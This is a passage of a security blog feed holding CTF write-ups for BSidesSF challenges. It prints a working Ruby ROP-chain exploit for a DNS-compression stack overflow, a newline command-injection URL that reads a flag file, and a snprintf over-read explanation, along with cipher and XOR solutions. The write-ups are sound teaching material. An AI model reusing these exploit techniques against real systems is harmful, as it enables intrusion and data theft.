    <span class="k">if</span><span class="p">((</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span> <span class="o">+</span> <span class="n">label</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">end</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">question</span><span class="p">.</span><span class="n">name</span> <span class="o">+</span> <span class="n">question_length</span><span class="p">,</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span><span class="p">,</span> <span class="n">label</span><span class="p">);</span>

    <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span> <span class="o">+=</span> <span class="n">label</span><span class="p">;</span>
    <span class="n">question_length</span> <span class="o">+=</span> <span class="n">label</span><span class="p">;</span>

    <span class="c1">// fprintf(stderr, "%p %ld\n", question.name, question_length);</span>
    <span class="n">question</span><span class="p">.</span><span class="n">name</span><span class="p">[</span><span class="n">question_length</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'.'</span><span class="p">;</span>
    <span class="n">question</span><span class="p">.</span><span class="n">name</span><span class="p">[</span><span class="n">question_length</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">memcpy()</code> is problematic, because it’s not checking bounds in a meaningful
way.</p>

<p>The trick is that the DNS question buffer is also 1024 bytes long:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="n">BUFFER_SIZE</span><span class="p">];</span>
  <span class="kt">uint16_t</span> <span class="n">type</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">class</span><span class="p">;</span>
<span class="p">}</span> <span class="n">dns_question_t</span><span class="p">;</span>
</code></pre></div></div>

<p>Which means you can’t really overflow the buffer……. or can you?</p>

<p>Obviously I wouldn’t have spent all that time talking about DNS compression
earlier if it didn’t matter!</p>

<p>The trick is that compression can be used to kinda make a “spiral” of buffers
to make a string that’s much, much longer than 1024 bytes!</p>

<h2 id="the-exploit">The exploit</h2>

<p>Because of how DNS names are encoded, I had to do a bit of a weird ROP chain
to actually exploit this; occasionally we just need to “consume” bytes to avoid
hitting the <code class="language-plaintext highlighter-rouge">.</code> part of the name:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">data1</span> <span class="o">=</span> <span class="p">[</span>
  <span class="c1"># ---- sys_read (to get the filename)</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>                            <span class="c1"># fd = stdin</span>
  <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="no">EMPTY_MEMORY</span><span class="p">,</span>                 <span class="c1"># buffer</span>
  <span class="no">POP_RDX_POP_RBX_RET</span><span class="p">,</span>       <span class="mi">64</span><span class="p">,</span> <span class="mh">0x13371337</span><span class="p">,</span> <span class="c1"># count / unused (for rbx)</span>
  <span class="no">POP_RAX_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>                            <span class="c1"># 0 = sys_read</span>
  <span class="no">SYSCALL_RET</span><span class="p">,</span>                               <span class="c1"># sys_read()</span>

  <span class="c1"># ---- sys_open</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="no">EMPTY_MEMORY</span><span class="p">,</span>                 <span class="c1"># pathname</span>

  <span class="c1"># ...this gets us to data2...</span>
  <span class="no">POP_POP_POP_RET</span><span class="p">,</span> <span class="mh">0x3131313131313131</span><span class="p">,</span>
<span class="p">]</span>

<span class="n">data2</span> <span class="o">=</span> <span class="p">[</span>
  <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>                            <span class="c1"># 0 = flags (O_RDONLY)</span>
  <span class="no">POP_RAX_RET</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span>                            <span class="c1"># 2 = sys_open</span>
  <span class="no">SYSCALL_RET</span><span class="p">,</span>                               <span class="c1"># sys_open()</span>

  <span class="c1"># ---- sys_read</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span>                            <span class="c1"># fd = 6 (what it happens to be)</span>
  <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="no">EMPTY_MEMORY</span><span class="p">,</span>                 <span class="c1"># buffer = random memory</span>
  <span class="no">POP_RDX_POP_RBX_RET</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mh">0x13371337</span><span class="p">,</span>       <span class="c1"># count / unused (for rbx)</span>

  <span class="c1"># ...this gets us to data3...</span>
  <span class="no">POP_POP_POP_RET</span><span class="p">,</span> <span class="mh">0x3232323232323232</span><span class="p">,</span>
<span class="p">]</span>

<span class="n">data3</span> <span class="o">=</span> <span class="p">[</span>
  <span class="no">POP_RAX_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>                            <span class="c1"># 0 - sys_read</span>
  <span class="no">SYSCALL_RET</span><span class="p">,</span>                               <span class="c1"># sys_read()</span>

  <span class="c1"># ---- sys_write</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span>                            <span class="c1"># fd = 1 = stdout</span>
  <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="no">EMPTY_MEMORY</span><span class="p">,</span>                 <span class="c1"># rsi = buffer</span>
  <span class="no">POP_RDX_POP_RBX_RET</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mh">0x13371337</span><span class="p">,</span>       <span class="c1"># count + unused (for rbx)</span>
  <span class="no">POP_RAX_RET</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span>                            <span class="c1"># 1 = sys_write</span>
  <span class="no">SYSCALL_RET</span><span class="p">,</span>                               <span class="c1"># sys_write()</span>

</code></pre></div></div>

<p>Then I encode those into questions (see the comment for more details):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Encode the questions</span>
<span class="c1">#</span>
<span class="c1"># The \x78 is the real length of the question/segment - it correctly jumps to</span>
<span class="c1"># the \x00 at the end</span>
<span class="c1">#</span>
<span class="c1"># The \xc0\x0d is a "compression pointer" that pointers to the second byte of</span>
<span class="c1"># the first question (\x7D), which points to the same byte in the next question,</span>
<span class="c1"># and so on to the bottom</span>
<span class="c1">#</span>
<span class="c1"># The \x36AAAAAA... sequence is to slightly adjust the length to optimize how</span>
<span class="c1"># much ROP data we get</span>
<span class="c1">#</span>
<span class="c1"># The \xc0\x0e is another compression pointer; this one goes to the second \x7D</span>
<span class="c1"># in the first question, which jumps to the \x7d in the remaining questions</span>
<span class="c1"># until it hits the \x00 end ends. Starting around the end of the first question</span>
<span class="c1"># (on the third time through), it overflows the stack. The third time visiting</span>
<span class="c1"># the third question is where the return address lands (hence data1). From</span>
<span class="c1"># there, it's just some standard ROP code (except that we have to deal with</span>
<span class="c1"># limited lengths)</span>
<span class="n">questions</span> <span class="o">=</span> <span class="p">[</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7D\x7D</span><span class="s2">xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxabcdefgh</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7D\x7D</span><span class="si">#{</span> <span class="n">data1</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span> <span class="si">}</span><span class="s2">OOOOOO</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7D\x7D</span><span class="s2">ab</span><span class="si">#{</span> <span class="n">data2</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span> <span class="si">}</span><span class="s2">CCCC</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7D\x7D</span><span class="s2">aaaa</span><span class="si">#{</span> <span class="n">data3</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span> <span class="si">}</span><span class="s2">xxxxxxxxxx</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7D\x00</span><span class="s2">EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7D</span><span class="s2">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\x78\x7E</span><span class="s2">GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG</span><span class="se">\x00</span><span class="s2">"</span><span class="p">),</span>
  <span class="n">encode_question</span><span class="p">(</span><span class="s2">"</span><span class="se">\xc0\x0d\x36</span><span class="s2">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><span class="se">\xc0\x0e</span><span class="s2">"</span><span class="p">)</span>
<span class="p">]</span>
</code></pre></div></div>

<p>Then I make it into a query:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Send a basic query</span>
<span class="n">s</span><span class="p">.</span><span class="nf">send</span><span class="p">([</span>
  <span class="mh">0x1234</span><span class="p">,</span>
  <span class="mh">0x0120</span><span class="p">,</span>
  <span class="n">questions</span><span class="p">.</span><span class="nf">length</span><span class="p">,</span>
  <span class="mh">0x0000</span><span class="p">,</span>
  <span class="mh">0x0000</span><span class="p">,</span>
  <span class="mh">0x0000</span><span class="p">,</span>
<span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'nnnnnn'</span><span class="p">)</span> <span class="o">+</span> <span class="n">questions</span><span class="p">.</span><span class="nf">join</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>

<p>And that’s that!</p>]]></content><author><name>ron</name></author><category term="bsidessf-2026" /><category term="bsidessf" /><category term="ctfs" /><category term="pwn" /><category term="dns" /><summary type="html"><![CDATA[This is a challenge I’ve been considering making forever. It’s possible I’ve already made it, even, it’s one of those things that appeals to my brain! As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2026: miscellaneous challenges (if-it-leads, gitfab, jengacrypt)</title><link href="https://www.skullsecurity.org/2026/bsidessf-2026-miscellaneous-challenges-if-it-leads-gitfab-jengacrypt-" rel="alternate" type="text/html" title="BSidesSF 2026: miscellaneous challenges (if-it-leads, gitfab, jengacrypt)" /><published>2026-03-30T20:55:38+00:00</published><updated>2026-03-30T20:55:38+00:00</updated><id>https://www.skullsecurity.org/2026/bsidessf-misc</id><content type="html" xml:base="https://www.skullsecurity.org/2026/bsidessf-2026-miscellaneous-challenges-if-it-leads-gitfab-jengacrypt-"><![CDATA[<p>This will be a write-up for the three shorter / more miscellaneous challenges
I wrote:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">if-it-leads</code></li>
  <li><code class="language-plaintext highlighter-rouge">gitfab</code></li>
  <li><code class="language-plaintext highlighter-rouge">jengacrypt</code></li>
</ul>

<p>As always, you can find copies of the binaries, containers, and full solution
in our <a href="https://github.com/BSidesSF/ctf-2026-release">GitHub repo</a>!</p>

<!--more-->

<h1 id="if-it-leads"><code class="language-plaintext highlighter-rouge">if-it-leads</code></h1>

<p>I wanted to do a Citrixbleed-style challenge ever since the vulnerability came
out, and this is it!</p>

<p>The TL;DR behind Citrixbleed2 (CVE-2023-4966) (and also this challenge) is that <code class="language-plaintext highlighter-rouge">snprintf</code> has
a surprising behavior: it doesn’t return the number of bytes it wrote, it returns
the number of bytes it <em>wanted</em> to write. So if it tries to write more than
the <code class="language-plaintext highlighter-rouge">length</code> value, it’ll return a different size than what was actually
written.</p>

<p>The specifically problematic line is:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Release year? --&gt; "</span><span class="p">);</span>
  <span class="kt">int</span> <span class="n">year</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">year</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Invalid year!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">offset</span> <span class="o">+=</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">idv3</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="s">"%04d"</span><span class="p">,</span> <span class="n">year</span><span class="p">);</span>
  <span class="k">while</span><span class="p">(</span><span class="n">getchar</span><span class="p">()</span> <span class="o">!=</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="p">{}</span>  <span class="c1">// discard rest of line</span>
</code></pre></div></div>

<p>An integer can be up to 11 characters long (counting the <code class="language-plaintext highlighter-rouge">-</code> for negative
numbers). Even though we use the format specifier <code class="language-plaintext highlighter-rouge">%04d</code>, the user can enter
up to 11 characters, and instead of the offset increasing by 4 bytes (like it
looks like it’s supposed to), it increases by up to 11. That means that you can
read about 6 bytes past the end of the buffer.</p>

<p>It just so happens - not coincidentally - that that’s where the secret password
lies.</p>

<p>I didn’t love using a secret password in addition to the flag, but I only had
about 6 characters and by the time we have the <code class="language-plaintext highlighter-rouge">CTF{...}</code> part of the flag,
we didn’t have any space left.</p>

<p>Making it a 64-bit integer or a string would have made the challenge too
obvious, in my opinion.</p>

<h1 id="gitfab"><code class="language-plaintext highlighter-rouge">gitfab</code></h1>

<p>I had this idea, “I’ll implement that vulnerability from GitLab and call it
‘Git Fab’!”. That seemed fun. Then I finished the challenge and looked up the
reference and realized it was Bit Bucket (CVE-2022-36804), not GitLab. Oops :)</p>

<p>In any case, I mostly just told AI to write a git viewer and make sure it wasn’t
vulnerable to command injection. Then I took the output and found the command
injection issue (which is what I expected - nobody remembers to check for
newlines in shell commands!)</p>

<p>There are definitely other solutions, but I used a newline and command injection:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">response</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">base_url</span> <span class="si">}</span><span class="s2">/file/test%22%0acat%20/home/ctf/flag.txt%0aecho%20%22"</span><span class="p">)</span>
</code></pre></div></div>

<p>I’m pretty sure you can also just add a space and another argument to the URL as well,
to view a second file; this wasn’t supposed to be a hard challenge!</p>

<h1 id="jengacrypt"><code class="language-plaintext highlighter-rouge">jengacrypt</code></h1>

<p>This was a cryptosystem I thought up in a fever dream (when I fell asleep watching
some cartoon about Jenga).</p>

<p>It’s a bit-wise cryptosystem where the key tells you what to do with the first 3
bits of the plaintext: either move the second bit to the end or the first and
third bits. Just like Jenga, get it??</p>

<p>Here’s the encryption code, in C:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">encrypt_bits</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">data_length</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">key_length</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int64_t</span> <span class="n">i</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">end</span> <span class="o">=</span> <span class="p">((</span><span class="n">data_length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="mi">3</span><span class="p">)</span> <span class="o">*</span> <span class="mi">3</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">key_bit</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

  <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">;)</span> <span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">bit</span> <span class="o">=</span> <span class="n">get_bit_from_array</span><span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">key</span><span class="p">,</span> <span class="n">key_length</span><span class="p">,</span> <span class="n">key_bit</span><span class="p">);</span>

    <span class="c1">// We work in groups of three bits</span>
    <span class="c1">// If it's a 0, move the middle bit of the three to the "top"</span>
    <span class="c1">// If it's a 1, move the first and third bit</span>
    <span class="c1">// fprintf(stderr, "(%2d) %d: ", i, bit);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">bit</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">// fprintf(stderr, "(%2d) |%d  | ", key_bit, i + 1);</span>
      <span class="n">move_bit_to_end</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">data_length</span><span class="p">);</span>
      <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="c1">// fprintf(stderr, "(%2d) |%d %d| ", key_bit, i, i + 2);</span>
      <span class="n">move_bit_to_end</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">0</span><span class="p">,</span> <span class="n">data_length</span><span class="p">);</span>
      <span class="n">move_bit_to_end</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">data_length</span><span class="p">);</span>
      <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">key_bit</span><span class="o">++</span><span class="p">;</span>
    <span class="c1">// fprintf(stderr, "\n");</span>
  <span class="p">}</span>

  <span class="c1">// fprintf(stderr, "After:  ");</span>
  <span class="c1">// print_bits_array(data, data_length);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And here’s the C decryption code (that wasn’t included).. it’s not super nice,
but it works:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">decrypt_bits</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">data_length</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">key_length</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int64_t</span> <span class="n">i</span><span class="p">;</span>

  <span class="c1">// Calculate the starting key_bit and offset</span>
  <span class="kt">uint64_t</span> <span class="n">end</span> <span class="o">=</span> <span class="p">((</span><span class="n">data_length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="mi">3</span><span class="p">)</span> <span class="o">*</span> <span class="mi">3</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">key_bit</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">start</span><span class="p">;</span>
  <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">;)</span> <span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">bit</span> <span class="o">=</span> <span class="n">get_bit_from_array</span><span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">key</span><span class="p">,</span> <span class="n">key_length</span><span class="p">,</span> <span class="n">key_bit</span><span class="o">++</span><span class="p">);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">bit</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">start</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
      <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="n">start</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
      <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">key_bit</span><span class="o">--</span><span class="p">;</span> <span class="c1">// We go one too far</span>

  <span class="c1">// Round down to the nearest multiple of 3</span>
  <span class="c1">// fprintf(stderr, "Length = %2d\n", data_length);</span>
  <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="n">start</span><span class="p">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">bit</span> <span class="o">=</span> <span class="n">get_bit_from_array</span><span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">key</span><span class="p">,</span> <span class="n">key_length</span><span class="p">,</span> <span class="n">key_bit</span><span class="p">);</span>

    <span class="c1">// We work in groups of three bits</span>
    <span class="c1">// If it's a 0, move the middle bit of the three to the "top"</span>
    <span class="c1">// If it's a 1, move the first and third bit</span>
    <span class="c1">// fprintf(stderr, "(%2d) %2d: ", i, bit);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">bit</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">// fprintf(stderr, "(%2d) |%d/%c|   ", key_bit, i + 1, data[data_length - 1]);</span>
      <span class="c1">// fprintf(stderr, " %s", data);</span>
      <span class="n">move_bit_from_end</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">data_length</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="c1">// fprintf(stderr, "(%2d) |%d/%c %d/%c|", key_bit, i + 2, data[data_length - 1], i + 0, data[data_length - 2]);</span>
      <span class="c1">// fprintf(stderr, " %s", data);</span>
      <span class="n">move_bit_from_end</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">data_length</span><span class="p">);</span>
      <span class="n">move_bit_from_end</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">data_length</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">key_bit</span><span class="o">--</span><span class="p">;</span>

    <span class="kt">uint8_t</span> <span class="n">last_bit</span> <span class="o">=</span> <span class="n">get_bit_from_array</span><span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">key</span><span class="p">,</span> <span class="n">key_length</span><span class="p">,</span> <span class="n">key_bit</span><span class="p">);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">last_bit</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">i</span> <span class="o">-=</span> <span class="mi">2</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="n">i</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// fprintf(stderr, " -&gt; %s\n", data);</span>

    <span class="c1">// fprintf(stderr, "%s\n", data);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And that’s it!</p>]]></content><author><name>ron</name></author><category term="bsidessf-2026" /><category term="bsidessf" /><category term="ctfs" /><category term="misc" /><summary type="html"><![CDATA[This will be a write-up for the three shorter / more miscellaneous challenges I wrote: if-it-leads gitfab jengacrypt As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2025: Miscellaneous challenges</title><link href="https://www.skullsecurity.org/2025/bsidessf-2025-miscellaneous-challenges" rel="alternate" type="text/html" title="BSidesSF 2025: Miscellaneous challenges" /><published>2025-04-27T22:59:18+00:00</published><updated>2025-04-27T22:59:18+00:00</updated><id>https://www.skullsecurity.org/2025/bsidessf-ctf-misc</id><content type="html" xml:base="https://www.skullsecurity.org/2025/bsidessf-2025-miscellaneous-challenges"><![CDATA[<p>In this post, I’m going to do write-ups for a few challenges that don’t really meaningfully categorize.</p>

<p>As usual, you can find the code and complete solutions on our <a href="https://github.com/BSidesSF/ctf-2025-release">GitHub repo</a>!</p>

<!--more-->

<h2 id="your-browser-hates-you"><code class="language-plaintext highlighter-rouge">your-browser-hates-you</code></h2>

<p>For this challenge, I created an SSL server with a certificate, then changed parts of the cert until the browser stopped being able to display it. That’s it!</p>

<p>My original idea was supposed to use a self-signed cert and HSTS to block access, but I couldn’t get that to work how I wanted.</p>

<p>The solution it to use something that doesn’t validate certs, like <code class="language-plaintext highlighter-rouge">curl -k</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -k 'https://your-browser-hates-you-4a61071d.challenges.bsidessf.net/'
[...]
        &lt;p&gt;&lt;font color="blue"&gt;Flag: CTF{shh-its-a-secret}&lt;/font&gt;&lt;/p&gt;
</code></pre></div></div>

<h2 id="goto-zero"><code class="language-plaintext highlighter-rouge">goto-zero</code></h2>

<p>This challenge was a bit of a treat for people that read my blog, because I already <a href="g/2024/goto-zero-a-fake-ctf-challenge-to-show-off-something">published a write-up</a>.</p>

<p>I basically took that challenge, and made it work as a terminal challenge, rather than remote, so the user can find their own <code class="language-plaintext highlighter-rouge">libc</code> functions without me giving it to them.</p>

<p>Other than that, and some offsets changing, the solution is pretty much the same!</p>

<h2 id="obscuratron"><code class="language-plaintext highlighter-rouge">obscuratron</code></h2>

<p>Obscuratron is supposed to be a dirt-easy reversing challenge. Each character in the file is xored with the previous character, starting with a seed value.</p>

<p>The source code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">int</span> <span class="n">current_character</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">)</span> <span class="o">^</span> <span class="n">KEY</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">next_character</span><span class="p">;</span>
  <span class="n">putchar</span><span class="p">(</span><span class="n">current_character</span><span class="p">);</span>
  <span class="k">for</span><span class="p">(</span><span class="n">next_character</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span> <span class="n">next_character</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">current_character</span> <span class="o">=</span> <span class="n">next_character</span><span class="p">,</span> <span class="n">next_character</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">next_character</span> <span class="o">=</span> <span class="n">current_character</span> <span class="o">^</span> <span class="n">next_character</span><span class="p">;</span>
    <span class="n">putchar</span><span class="p">(</span><span class="n">next_character</span><span class="p">);</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>And the solution:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>key = 0xab
decrypted = (encrypted.bytes.map do |i|
  decrypted = (i ^ key)
  key = i
  decrypted.chr
end).join
</code></pre></div></div>

